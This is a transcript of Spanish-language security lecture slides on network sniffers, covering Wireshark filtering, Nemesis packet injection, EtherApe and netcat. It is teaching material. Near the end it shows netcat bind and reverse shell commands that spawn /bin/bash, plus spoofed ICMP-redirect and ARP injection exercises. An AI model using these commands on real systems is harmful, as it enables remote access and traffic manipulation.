Seguridad Informática Sniffers · 2009-05-22 · Roberto Gómez Cárdenas 2 Seguridad Informática...

58
1 Roberto Gómez Cárdenas Seguridad Informática Sniffers Lámina 1 Dr. Roberto Gómez Sniffers Roberto Gómez [email protected] Lámina 2 Dr. Roberto Gómez Los sniffers características y ejemplos

Transcript of Seguridad Informática Sniffers · 2009-05-22 · Roberto Gómez Cárdenas 2 Seguridad Informática...

1Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 1Dr. Roberto Gómez

Sniffers

Roberto Gómez [email protected]

Lámina 2Dr. Roberto Gómez

Los sniffers

características y ejemplos

2Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 3Dr. Roberto Gómez

Sniffers y Analizadores

• Un sniffer es un proceso que "olfatea" el tráfico que se genera en la red *a nivel de enlace*; – puede leer toda la información que circule por el tramo de red en el que se

encuentre. – se pueden capturar claves de acceso, datos que se transmiten, numeros de

secuencia, etc...

• Un analizador de protocolos es un sniffer al que se le ha añadido funcionalidad suficiente como para entender y traducir los protocolos que se están hablando en la red. – debe tener suficiente funcionalidad como para entender las tramas de

nivel de enlace, y los paquetes que transporten.

• Diferencia:– normalmente la diferencia entre un sniffer y un analizador de protocolos,

es que el segundo está a la venta en las tiendas y no muestra claves de acceso.

Lámina 4Dr. Roberto Gómez

Sniffers

¿Cómo se comunican dos computadoras en una red local?

computadora en modo promiscuo

snifeando (husmeando)

3Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 5Dr. Roberto Gómez

Lista sniffers para Windows

• Ethereal wireshark

• WinDump

• Network Associates Sniffer (for Windows)

• WinNT Server (Network Monitor)

• BlackICE Pro

• CiAll

• EtherPeek

• Intellimax LanExplorer

• Triticom LANdecoder32

Lámina 6Dr. Roberto Gómez

Lista Sniffers para Macintosh

• EtherPeek– http://www.aggroup.com/

– EtherPeek has been around for years in a Macintosh version and has also ported their software toWindows.

4Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 7Dr. Roberto Gómez

Lista sniffers para Unix

• esniff.c (phrack 45)

• tcpdump

• Linsniffer

• Linuxsniffer.

• Hunt

• Sniffit

• netXray

• ethereal

• snoop

• snort

• trinux

• karpski

• SuperSniffer v1.3

• exdump

Lámina 8Dr. Roberto Gómez

Lista sniffers DOS

• Sniffer(r) Network Analyzer– http://www.nai.com

• The Gobbler and Beholder– http://nmrc.org/files/msdos/gobbler.zip

• Klos PacketView– http://www.klos.com

5Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 9Dr. Roberto Gómez

El sniffer ethereal, ahora wireshark

http://www.ethereal.comhttp://www.wireshark.org/

Lámina 10Dr. Roberto Gómez

Ethereal

• Ethereal es un analizador de tráfico de red, o "sniffer", para sistemas operativos Unix y sistemas basados en Unix, así como sistemas Windows

• Utiliza:– GTK+, una libreria que provee una interface de usuario

grafica,

– libpcap,una libreria para filtrar y capturar paquetes,

• Posee la posibilidad de ver la reconstruccion del fluido de una sesión TCP.

• Autor: Gerald Combs (julio 1998 - version 0.2.0. )

6Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 11Dr. Roberto Gómez

Características

• Datos pueden ser capturados del cable de unaconexión viva, o leídos de un archivo capturado.

• Puede leer archivos de datos de diferentes paquetesde captura de datos– tcpdump (libpcap), NAI's Sniffer™ (compressed

and uncompressed), Sniffer™ Pro, NetXray™, Sun snoop and atmsnoop, Shomiti/Finisar Surveyor,AIX's iptrace, Microsoft's Network Monitor, Novell'sLANalyzer, RADCOM's WAN/LAN Analyzer, etc

Lámina 12Dr. Roberto Gómez

Más características

• Datos pueden ser capturados de Ethernet, FDDI, PPP, Token-Ring, IEEE 802.11, Classical IP overATM, e interfaces tipo loopback– no todos los tipos son soportados en todas las plataformas

• Datos pueden verse a través de un GUI o de unaterminal en texto plano.

• La salida puede ser guardada o impresa como textoplano o Postcript

• Toda, o parte, de la captura puede ser almcenada en disco.

7Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 13Dr. Roberto Gómez

En un principio era asi

Lámina 14Dr. Roberto Gómez

La nueva vista

packet list pane

tree view pane

data view pane

menu principal

main toolbar

filter toolbar

8Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 15Dr. Roberto Gómez

La barra de status (statusbar)

• Lado izquierdo información acercar del archivo de captura– nombre, tamaño y el tiempo transcurrido desde que empezó

la captura

• El lado derecho muestra el numero de paquetes en el archivo de captura– P: numero paquetes capturados

– D: numero de paquetes desplegados actualmente

– M: numero de paquetes marcados

Lámina 16Dr. Roberto Gómez

Menu principal y capturandopaquetes

9Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 17Dr. Roberto Gómez

Ventana para definir opciones captura

Lámina 18Dr. Roberto Gómez

El panel: main tool bar

start/stop capture

abrir archivosguardar comocerrar

recargar el archivo de capturaimprimir

zoom in los datos del paquete

zoom out los datos del paqueteestablecer tamaño normal del paquete

encontrar un paquete

encontrar el paquete siguienteencontrar el paquete previo

ir al paquete

ir al primer paqueteir al último paquete

filtros de capturas

filtros de desplieguedefinir reglas desplegar

paquetes

editar (preferences) parámetros operación ethereal

10Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 19Dr. Roberto Gómez

Lámina 20Dr. Roberto Gómez

Viendo paquete en ventanaseparada

11Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 21Dr. Roberto Gómez

Opciones despliegue: menu view

muestra-oculta

barras herramientas

muestra-oculta

paneles

Lámina 22Dr. Roberto Gómez

Ejercicio

• Lanza ethereal por 1 minuto– no desplegar el tipo de tarjeta

– actualizar los paquetes en tiempo real

• Identifique 5 protocolos

• Tome un paquete y desplieguelo en otra ventana– identifique tres campos de los encabezados

12Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 23Dr. Roberto Gómez

Filtrados de paquetes

• Dos tipos de filtros– a nivel captura

– a nivel despliegue

Lámina 24Dr. Roberto Gómez

Filtros para despliegue paquetes

13Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 25Dr. Roberto Gómez

Filtrando paquetes en la captura

• Ethereal utiliza lenguaje libpcap para definir sus filtros.– mayor información man page de tcpdump

• Filtro se define en el campo filter de las preferencias del cuadro diálogo captura

• Un filtro esta formado por una serie de expresiones primitivas conectadas por conjunciones:

• Ejemplos

[not] primitiva [and | or [not] primitiva ... ]

tcp port 23 and host 10.0.0.5tcp port 23 and not host 10.0.0.5

Lámina 26Dr. Roberto Gómez

Sintaxis filtrado de hosts

captura todos los paquetes cuando el host es el origensrc host host

captura todos los paquetes cuando el host es el destinodst host host

host es una direccion IP o un nombre de hosthost host

DescripcionSintaxis

captura todos los paquetes cuya direccion origen es10.10.10.10

src host 10.10.10.10

captura todos los paquetes cuya direccion destino es10.10.10.10

dst host 10.10.10.10

captura todos paquetes provenientes y dirigidos a 10.10.10.10

host 10.10.10.10

Ejemplos

14Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 27Dr. Roberto Gómez

Sintaxis filtrado de puertos

captura todos los paquetes dondepuertoes el puerto origensrc port puerto

captura todos los paquetes dondepuertoes el puerto destinodst port puerto

captura todos los paquetes donde el puerto es fuente o destino

port puerto

DescripcionSintaxis

captura todos los paquetes donde 80 es el puerto origensrc port 80

captura todos los paquetes donde 80 es el puerto destinodst port 80

captura todos paquetes donde 80 sea el puerto origen o destinoport 80

Ejemplos

Lámina 28Dr. Roberto Gómez

Sintaxis filtrado de redes

captura todos los paquetes dondered es el origensrc net red

captura todos los paquetes dondered es el destinodst net red

captura todos los paquetes provenientes o dirigidos a la rednet red

DescripcionSintaxis

captura todos los paquetes donde la red origen es192.168src net 192.168

captura todos los paquetes donde la red destino es192.168dst net 192.168

captura todos paquetes donde la red es192.168net 192.168

Ejemplos

15Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 29Dr. Roberto Gómez

Sintaxis filtrado basado en protocolos: ethernet

ether proto \[nombre primitiva]

Sintaxis

captura todos los paquetes ARPether proto \arp

captura todos los paquetes RARPether proto \rarp

captura todos paquetes ipether proto \ip

Ejemplos

Lámina 30Dr. Roberto Gómez

Sintaxis filtrado basado en protocolos: IP

ip proto \[nombre protocolo]

Sintaxis

captura todos los paquetes UDPip proto \udp

captura todos los paquetes ICMPip proto \icmp

captura todos paquetes TCPip proto \tcp

Ejemplos

16Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 31Dr. Roberto Gómez

Combinando expresiones

concatenación&& o and

negación! o not

|| o or

SignificadoOperador

captura todos paquetes provenientes o dirigidos al host 10.10.10.10 con puertoorigen o destino 80

host 10.10.10.10 && port 80

captura todos paquetes provenientes o dirigidos al host 10.10.10.10 que no vienende la red 192.168

host 10.10.10.10 && !net 192.168

Ejemplos

Lámina 32Dr. Roberto Gómez

Dos ultimos ejemplos

• host 192.168.1.10 && ! host 192.168.1.10 – captura todos los paquetes provenientes de y dirigidos a

192.168.1.10 y no provenientes ni dirigidos de 192.168.1.10• Ethereal no aceptará este filtro indicando que la expresión rechazará

todos los paquetes

• host 192.168.1.10 && not net 192.168 – captura todos los paquetes provenientes de y dirigidos a

192.168.1.10 y no provenientes ni dirigidos de 192.168• Etheral aceptará este filtro

Recomendación: ¡verificar los filtros!

17Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 33Dr. Roberto Gómez

Disección de paquetes

• Ethereal realiza una disección de los paquetes

• Los protocolos que entiende los disecta de tal forma que se puede apreciar el payload y el encabezado

Eth.Det.

Eth.Src. Prot. datos (46-1500) CRC

EncabezadoIP

Payload: datos

EncabezadoTCP

Payload: datos-aplicaciones

Lámina 34Dr. Roberto Gómez

Buscando paquetes

• Display filter – ip.addr==192.168.0.1 and

tcp.flags.syn

• Hex Value – "00:00" encontrar próximo

paquete que contieneincluyen dos bytes null en la parte de datos

• String

18Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 35Dr. Roberto Gómez

Dos opciones interesantes

• Colorear paquetes– colorear paquetes que cumple con reglas de un filtro

– opción: Colorize Display• menú de Despliegue

• menú que surge cuando se selecciona un paquete

• Seguimiento de una sesión TCP– permite reconstruir una sesión tcp

– opción: Follow TCP Streams• menú campo del panel del árbol de tres vistas

• menú que surge cuando se selecciona un paquete

Lámina 36Dr. Roberto Gómez

Pasos colorear paquetes

• Elegir opción Edit ColoringRules, del main tool bar

• Se tiene que definir un filtro de despliegue y asociarle un color– opción new de la ventana

generada– proporcionar un nombre al filtro– después hay que definir el filtro

• Opciones definir filtro– a través de un cuadro

de diálogo (botón Expression)

– introducir expresión directamente

19Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 37Dr. Roberto Gómez

Pasos colorear paquetes

• Asociando un color– a través de los cuadros de

dialogo respectivo elegir colores foreground (caracteres) y del background (el fondo)

• Terminando– opcion ok del cuadro Chose

Color– opción ok del cuadro Edit Color

Filter– Add Color Protocols

Lámina 38Dr. Roberto Gómez

Siguiendo TCP streams

• Solo se puede dar seguimiento a protocolos orientados conexión

• Seleccionar paquete que forma parte de la sesión TCP a dar seguimiento.

• Seleccionar opción Follow TCP Streamdel menú

20Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 39Dr. Roberto Gómez

Formatos despliegue disponibles

• ASCII– datos de cada lado en ASCII, pero

alternados

– caracteres no imprimibles no se despliegan

• EBCDIC– for the big-iron freaks out there

• HEX Dump– ver todos los datos, pero no se ve

en ASCII

Lámina 40Dr. Roberto Gómez

Resumen estadísticas (summary)

• File– información general acerca archivo

captura• Time

– tiempo caputra primer y último paquete• Capture

– información fecha y hora captura fue realizada

• Display– información sobre los datos

desplegados• Traffic

– estadísticas sobre el tráfico visto– si esta definido un filtro de despliegue,

se verán valores en ambas colunes– valores en columna Captures serán

como antes– valores en columna Displayed reflejaran

valores vistos en el despliegue de información

21Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 41Dr. Roberto Gómez

Gráficas (IO Graphs)

• Graphs– Graph 1-5

• habilita la gráfica 1-5 (solo gráfica 1 esta habilitada por default)

– Color• el color de la gráfica, (no puede ser cambiado)

– Filter:• un filtro despliegue para esta gráfica (solo

paquetes que pasen este filtro serán tomados en cuenta para esta gráfica)

– Style:• el estilo de la gráfica (Line/Impulse/FBar)

• Eje X– Tick interval

• el intervalo de las x (10/1/0.1/0.01/0.001 seconds)

– Pixels per tick• usa 10/5/2/1 pixels por tick de intervalo

• Eje Y– Unidades

• la unidad para el eje Y (Packets/Tick, Bytes/Tick, Advanced...)

– Escala• la escala para el eje y

(10,20,50,100,200,500,...)

Lámina 42Dr. Roberto Gómez

Otras estadísticas

• Protocol Hierarchy

• Conversations

• End points

22Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 43Dr. Roberto Gómez

Ultimos comentarios

• Funciona para Windows 2000 – necesario contar con WinPcap, se puede obtener de

http://netgroup-serv.polito.it/winpcap/install/Default.htm

– se puede bajar de:http://www.ethereal.com

• Se cuenta con una guía del usuario en html

• También corre en las siguientes plataformas:– AIX, Tru64 UNIX (formerly Digital UNIX), Debian

GNU/Linux, Slackware Linux, Red Hat Linux, FreeBSD, NetBSD, OpenBSD, HP/UX, Sparc/Solaris 8, Windows NT and Windows Me/98/95

Lámina 44Dr. Roberto Gómez

Limitantes ethereal (y otros sniffers)

• Es lento para la lectura

• Redes switcheadas

• Redes encriptadas

• Redes de alta velocidad

23Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 45Dr. Roberto Gómez

Nemesis

Sofware de inyección de paquetes

Lámina 46Dr. Roberto Gómez

Nemesis

• Software de inserción de paquetes, que soporta– ARP, DNS, ICMP, IGMP, OSPF, RARP, RIP, TCP, UDP

• Desarrollado por Mark Grimes ([email protected], [email protected] )

• Ofrece características nuevas que no se puedenencontrar en ninguna otra herramienta de su clase.

• Inyección de paquetes puede ser controlada a nivelcapa 2 o capa 3 (como el protocolo lo permita)

• Requisitos– libnet:http://www.packetfactory.net/Projects/Libnet/– libpcap: http://www.tcpdump.org/

24Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 47Dr. Roberto Gómez

Nemesis

• Versión Unix– nemesis-1.4beta3.tar.gz (Jun 29 2003)– protocolos soportados: ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF,

RIP, TCP y UDP– plataformas: *BSD(i), Linux, [Trusted] Solaris, Mac OS X– requerimientos

• * libnet-1.0.2a

• Versión Windows– nemesis-1.4beta3.zip (Jun 29 2003)– protocolos soportados: ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF,

RIP, TCP y UDP– plataformas: Windows 9x, Windows NT, Windows 2000, Windows XP– requerimientos

• * libnetNT-1.0.2g (incluido en el archivo zip de Nemesis)• * WinPcap-2.3 o * WinPcap-3.0

Lámina 48Dr. Roberto Gómez

Ejemplos nemesis

• nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fS -fA -y 22 -P toto

– envía paquete TCP (SYN/ACK) con payload del archivoascii toto al puerto ssh, de 192.168.1.1 a 192.168.2.2

– opción –v permite visualizar el paquete inyectado

• nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt

– envia paquete UDP de 10.11.12.13:11111 al puerto de servicio de nombres de 10.1.1.2, con un payload que se lee del archivobindpkt

– de nuevo: -v usado para confirmar paquete inyectado

• nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5

– enviar paquete ICMP REDIRECT de 10.10.10.3 a 10.10.10.1 con la dirección del gateway como direcciónfuente

25Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 49Dr. Roberto Gómez

Protocolos soportados por Nemesis

• arp• dns• ethernet• icmp• igmp• ip• ospf• rip• tcp• udp

• Sintaxis comando:

nemesis <protocolo> [ opciones protocolo ]

Lámina 50Dr. Roberto Gómez

Opciones protocolo arp (1)

• Sintaxis

• Opciones ARP/RARP

nemesis arp [-rsTRvZ?] [-d Ethernet-device ] [-D destination-IP-addr] [-h sender-hardware-addr ] [-H source-MAC-addr ] [-m target-hardware-addr ] [-M destination-MAC-addr ] [-P payload-file ] [-S source IP addr ]

Dirección IP fuente-S dir-ip

Encabezado con información de acuerdo implementación Solaris-s Solaris-mode

Habilita modo RARP-R rarp-enable

Habilita respuestas ARP/RARP-r reply-enable

Archivo de payload. Máximo 1472 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’

-P arch

Dirección destinos ethernet-m dir-hard

Dirección fuente (emisor) ethernet-h dir-hard

Dirección IP destino-D dir-ip

DescripciónOpción

26Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 51Dr. Roberto Gómez

Opciones protocolo arp (2)

• Sintaxis

• Opciones DATA LINK

nemesis arp [-rsTRvZ?] [-d Ethernet-device ] [-D destination-IP-addr] [-h sender-hardware-addr ] [-H source-MAC-addr ] [-m target-hardware-addr ] [-M destination-MAC-addr ] [-P payload-file ] [-S source IP addr ]

Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar

-d Ethernet-device

Lista las interfaces de red por número para usar en inyección a nivel enlace

-Z network-inter

Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest

Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis

DescripciónOpción

Lámina 52Dr. Roberto Gómez

Opciones protocolo tcp (1)

• Sintaxis

• Opciones TCP

nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]

Número de acknowledgement dentro encabezado IP-a ACK-NUM

Especifica el offset del urgent pointer dentro encabezado TCP-u urgent-ptr

Número de secuencia dentro encabezado TCP-s seq-number

Archivo payload. Máximo 65415 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’

-P arch-carga

Archivo opciones TCP (creado manualmente)-o arch-opts-TCP

Bandeas TCP (-fS/-fA/-fR/-fP/-fF/-fU/-fE/-fC)-f TCP flags

DescripciónOpción

27Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 53Dr. Roberto Gómez

Opciones protocolo tcp (2)

• Sintaxis

• Opciones TCP

nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]

Especifica tamaño ventana dentro encabezado TCP-w window-size

Especifica el puerto fuente (emisor) dentro encabezado TCP-x source-port

Especifica el puerto destino dentro encabezado TCP-y dest-port

Habilita modo verbose-v verbose

DescripciónOpción

Lámina 54Dr. Roberto Gómez

Opciones protocolo tcp (3)

• Sintaxis

• Opciones IP

nemesis tcp [-vZ?] [-a ack-num ] [-d Ethernet-device ] [-D destination-IP-addr] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-addr ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-addr ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size] [-x source-port ] [-y destination-port ]

Especifica dirección IP destino dentro encabezado IP-D dest-IP-addr

Especifica el valor del tiempo de vida del paquete dentro del encabezado IP

-T IP-TTL

Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-t IP-TOS

Especifica dirección IP fuente dentro encabezado IP-S sour-IP-addr

Archivo opciones TCP (creado manualmente)-O arch-opts-TCP

Especifica el identificador de IP dentro del encabezado IP-I IP-ID

Especifica opciones de fragmentación (-F[D],[M],[R],[offset]) en encabezado IP

-F frag-opts

DescripciónOpción

28Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 55Dr. Roberto Gómez

Opciones protocolo tcp (4)

• Sintaxis

• Opciones DATA LINK

nemesis tcp [-vZ?] [-a ack-number ] [-d Ethernet-device ] [-D destination-IP-address ] [-f TCP-flags ] [-F fragmentation-options ] [-I IP-ID ] [-M destination-MAC-address ] [-o TCP-options-file ] [-O IP-options-file ] [-P payload-file ] [-s sequence-number ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-u urgent-pointer ] [-w window-size ] [-x source-port ] [-y destination-port ]

Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar

-d Ethernet-device

Lista las interfaces de red por número para usar en inyección a nivel enlace

-Z network-inter

Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest

Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis

DescripciónOpción

Lámina 56Dr. Roberto Gómez

Opciones protocolo udp (1)

• Sintaxis

• Opciones UDP

nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]

Especifica el puerto fuente (emisor) dentro encabezado TCP-x source-port

Especifica el puerto destino dentro encabezado TCP-y dest-port

Habilita modo verbose-v verbose

Archivo payload. Máximo 65415 bytes. También se puede especificar payload de línea comandos con opción ‘-P –’

-P arch-carga

DescripciónOpción

29Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 57Dr. Roberto Gómez

Opciones protocolo udp (2)

• Sintaxis

• Opciones IP

nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]

Especifica dirección IP destino dentro encabezado IP-D dest-IP-addr

Especifica el valor del tiempo de vida del paquete dentro del encabezado IP

-T IP-TTL

Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-t IP-TOS

Especifica dirección IP fuente dentro encabezado IP-S sour-IP-addr

Archivo opciones TCP (creado manualmente)-O arch-opts-TCP

Especifica el identificador de IP dentro del encabezado IP-I IP-ID

Especifica opciones de fragmentación (-F[D],[M],[R],[offset]) en encabezado IP

-F frag-opts

DescripciónOpción

Lámina 58Dr. Roberto Gómez

Opciones protocolo udp (3)

• Sintaxis

• Opciones DATA LINK

nemesis udp [-vZ?] [-d Ethernet-device ] [-D destination-IP-address ] [-F fragmentation-options ] [-H source-MAC-address ] [-I IP-ID ] [-M destination-MAC-address ] [-O IP-options-file ] [-P payload-file ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ] [-x source-port ] [-y destination-port ]

Especifica nombre (Unix) o dirección (Windows) del dispositivo ehternet a utilizar

-d Ethernet-device

Lista las interfaces de red por número para usar en inyección a nivel enlace

-Z network-inter

Especifica la dirección destino MAC (XX:XX:XX:XX:XX:XX)-M dir-hard-dest

Especifica la dirección fuente MAC (XX:XX:XX:XX:XX:XX)-H dir-hard-emis

DescripciónOpción

30Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 59Dr. Roberto Gómez

Sintaxis inyección paquetes ICMP

nemesis-icmp [-vZ?] [-a ICMP-timestamp-request-reply-transmit-time ] [-b original-destination-IP-address ] [-B original-source-IP-address ] [-c ICMP-code ] [-d Ethernet-device ] [-D destination-IP-address ] [-e ICMP-ID ] [-f original-IP-fragmentation ] [-F fragmentation-options ] [-G preferred-gateway ] [-H source-MAC-address ] [-i ICMP-type ] [-I IP-ID ] [-j original-IP-TOS ] [-J original-IP-TTL ] [-l original-IP-options-file ] [-m ICMP-mask ] [-M destination-MAC-address ] [-o ICMP-timestamp-request-transmit-time ] [-O IP-options-file ] [-p original-IP-protocol ] [-P payload-file ] [-q ICMP-injection-mode ] [-r ICMP-timestamp-request-reply-received-time ] [-S source-IP-address ] [-t IP-TOS ] [-T IP-TTL ]

Lámina 60Dr. Roberto Gómez

Opciones ICMP paquetes ICMP

Especifica el código ICMP dentro del encabezado ICMP-c ICMP-code

Especifica el valor del tiempo de vida del paquete dentro del encabezado IP

-T IP-TTL

Especifica el tipo de servicio dentro encabezado IP (2, 4, 8, 24)-P payload-file

Especifica la dirección IP de la mascara dentro de los paquetes de mascara

-m MAC-addr

Especifica el tipo de ICMP dentro encabezado ICMP-i ICMP-type

Especifica la dirección IP del gateway para inyección redirección-G gateway

Especifica el identificador ICMP dentro encabezado ICMP-e ICMP-ID

DescripciónOpción

31Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 61Dr. Roberto Gómez

Ejemplos nemesis

• nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fS -fA -y 22 -P toto

– envía paquete TCP (SYN/ACK) con payload del archivoascii toto al puerto ssh, de 192.168.1.1 a 192.168.2.2

– opción –v permite visualizar el paquete inyectado

• nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt

– envia paquete UDP de 10.11.12.13:11111 al puerto de servicio de nombres de 10.1.1.2, con un payload que se lee del archivobindpkt

– de nuevo: -v usado para confirmar paquete inyectado

• nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5

– enviar paquete ICMP REDIRECT de 10.10.10.3 a 10.10.10.1 con la dirección del gateway como direcciónfuente

Lámina 62Dr. Roberto Gómez

Ejercicio Nemesis

• Lanzar ethereal y empezar a capturar

• Teclear lo siguiente

• Detener ethereal y buscar los paquetes inyectados

# echo Esto es un ejemplo de paquete TCP > toto

# echo This is an example of UDP packet > cachafas

# nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fSA -y 22 -P toto# nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P cachafas

# nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 –qR

# nemesis arp -v -d eth0 -H 0:1:2:3:4:5 -S 10.11.11.11 -D 10.10.10.10

32Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 63Dr. Roberto Gómez

Otros paquetes Inyectores

• Send IP– http://www.earth.li/projectpurple/progs/

sendip.html

– herramienta de comando línea quepermite enviar paquetes IP arbitrarios

• wINJECT: – inyección de paquetes para Win9x &

Win2k

– home19.inet.tele.dk/moofz/about_o.htm

• Engage Packet Builder– http://www.engagesecurity.com/products

/engagepacketbuilder/

Lámina 64Dr. Roberto Gómez

El sniffer etherape

• Monitor gráfico de red

• Modelado a partir de etherman

• Despliega actividad red en forma gráfica

• Hosts y links cambian su tamaño de acuerdo al tráfico presentado.

• Colores protocolos desplegados

• Posible filtrar tráfico

# etherape &

33Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 65Dr. Roberto Gómez

Carácterísticas

• Multiplataforma Linux, Solaris, SGI,

• Alpha, FreeBSD, NetBSD, etc...

• Múltiples modos de funcionamiento:– Capa física, IP, TCP

• Capturas en vivo o desde archivo

• Soporte de dispositivos Ethernet, FDDI, Token Ring, RDSI, PPP, SLIP

• Registro de parámetros estadísticos

Lámina 66Dr. Roberto Gómez

Diagrama de bloques

34Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 67Dr. Roberto Gómez

Interfaz usuario

• Nodos– Grupo

– Círculo

– Texto

• Enlace

• Leyenda

Lámina 68Dr. Roberto Gómez

Información estadística

• Ventana de protocolos

• Información de protocolo

• Información de nodo

35Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 69Dr. Roberto Gómez

Netcat

• La navaja suiza de TCP/IP.

• Original (by Hobbit)– BSD (Fedora 4)

– nc-1.78-2.i386.rpm

– http://www.openbsd.org/cgibin/cvsweb/src/usr.bin/nc/

• GNU netcat– netcat-0.7.1-1.i386.rpm

– http://netcat.sourceforge.net/

• Windows– Llevado a Win95 y NT por Weld Pond de L0pht

Lámina 70Dr. Roberto Gómez

¿Qué es netcat?

• Es una utilidad Unix que escribe datos a través de las conexiones de red, usando los protocolos TCP o UDP.– El parámetro utilizado para las conexiones TCP es -t,

aunque no es necesario, dado que esta es la opción por defecto.

– Para realizar conexiones UDP, puede utilizar el parámetro -u.

• Diseñada como una herramienta de backend, que puede ser usada directamente o por otros programas o scripts.

36Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 71Dr. Roberto Gómez

Principales opciones netcat

• Sintaxis:

• Algunas opciones:

Ejecutar cmd cuando se conecta, p.e. /bin/bash para ejecutar un shelle cmd

especificar un tiempo determinado para realizar conexiones .w

modo verbose, mas información, se le puede añadir otra -v para mas informaciónv

se le especifica a netcat que debe realizar negociaciones telnet.t

especificarle con esta opción el puerto a realizar una acción.p

obtiene un archivo log en Hex de la accióno

dirección numérica especifica; no hace un DNS Lookupn

lo mismo que l, pero sigue escuchando aún cuando la conexión es cerradaL

deja a un puerto abierto en espera de una conexión l

DescripciónOpción

connect to somewhere: nc [-options] hostname port[s] [ports] ...

listen for inbound: nc -l -p port [-options] [hostname] [port]

Lámina 72Dr. Roberto Gómez

Ejemplos de uso

• Copia de archivos– Cliente (receptor) nc -l -p 2000 > archivo.recibido

– Servidor (emisor) nc hostremito 2000 < fichero

• Shell remoto estilo telnet– Cliente nc hostremoto 2000

– Servidor nc -l -p 2000 -e /bin/bash

• Telnet inverso– Cliente nc -l -p 2000

– Servidor nc server.example.org 2000 -e /bin/bash

